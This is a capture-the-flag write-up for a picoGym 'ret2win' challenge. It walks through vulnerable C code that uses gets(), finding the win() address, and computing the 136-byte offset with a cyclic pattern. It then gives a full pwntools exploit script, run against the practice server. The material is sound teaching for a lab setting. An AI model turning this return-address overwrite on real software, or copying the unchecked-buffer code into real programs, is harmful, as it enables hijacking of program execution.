This time, the goal isn't to overwrite a simple variable but the function's own return address, to redirect execution to a win() function present in the binary but never normally called — the classic technique known as "ret2win".
| Platform | picoGym |
| Category | Binary Exploitation (Pwn) |
| Points | 300 pts |
| Difficulty | Intermediate |
| Technique | Ret2win, return address overwrite |
The provided source code looks like this:
void win(){
printf("Congratulations!\n");
system("/bin/cat flag.txt");
}
void vuln(){
char buf[128];
printf("Please enter your string: \n");
gets(buf);
printf("Ok, now what's your name?\n");
char name[64];
gets(name);
printf("Hello %s\n", name);
}
int main(){
vuln();
return 0;
}
The win() function prints the flag, but it isn't called anywhere in main() or vuln(). The only way to reach it is to force the program to jump there directly.
Since the binary is not compiled as PIE (Position Independent Executable), function addresses are fixed and known in advance. We can grab them easily with objdump:
$ objdump -d ./vuln | grep ':'
0000000000401216 :
Or directly from gdb:
gdb-peda$ info functions win
All functions matching regular expression "win":
0x0000000000401216 win
gdb-peda$ p win
$1 = {} 0x401216
The address of win() is therefore 0x401216.
Rather than computing the offset by hand, we use a cyclic pattern generated by pwntools. We run the binary in gdb, send the pattern, and observe the value that overwrites the instruction pointer (RIP in 64-bit) at the moment of the crash:
from pwn import cyclic
print(cyclic(200))
# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaz...
gdb-peda$ run
Please enter your string:
> aaaabaaacaaadaaaeaaaf...
[...]
Program received signal SIGSEGV, Segmentation fault.
RIP: 0x6161616c61616b61 ('aakaaal')
gdb-peda$ python from pwn import *; print(cyclic_find(0x6161616c61616b61))
136
The offset between the start of the buffer and the overwritten return address is therefore 136 bytes.
The final payload consists of 136 padding bytes, followed by the address of win() packed into 8 bytes (64-bit architecture, so p64() rather than p32()):
payload = b'A' * 136 + p64(0x401216)
from pwn import *
context.binary = elf = ELF('./vuln')
context.log_level = 'info'
# io = process('./vuln')
io = remote('mercury.picoctf.net', 54321)
offset = 136
win_addr = elf.symbols['win']
log.info(f"win() address: {hex(win_addr)}")
payload = b'A' * offset
payload += p64(win_addr)
io.recvuntil(b'string: \n')
io.sendline(payload)
io.recvline() # "Ok, now what's your name?"
io.sendline(b'ctfdojo') # answer anything for the 2nd gets()
print(io.recvall().decode())
By sending this payload, the ret in vuln() no longer returns to main() but jumps straight to win(), which executes system("/bin/cat flag.txt"):
$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 54321: Done
[*] win() address: 0x401216
Congratulations!
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 54321
Note: this technique works directly because the binary is compiled without PIE — the address of win() is fixed and known at compile time. If PIE had been enabled, function addresses would be randomized on every run, and we would first have needed to leak an address (for example via an information leak) to compute the real offset before being able to target win() precisely.
The flag is deliberately hidden — follow the method, you've earned it. 💪
Ret2win illustrates the founding principle of all binary exploitation: controlling the return address means controlling the program's flow of execution.
cyclic / cyclic_find) avoid computing offsets by hand and are essential as soon as the buffer gets complexOverwrite a control variable via a buffer overflow to unlock the flag.
Discuss this writeup with the community on the CTFdojo Discord.
Join the Discord →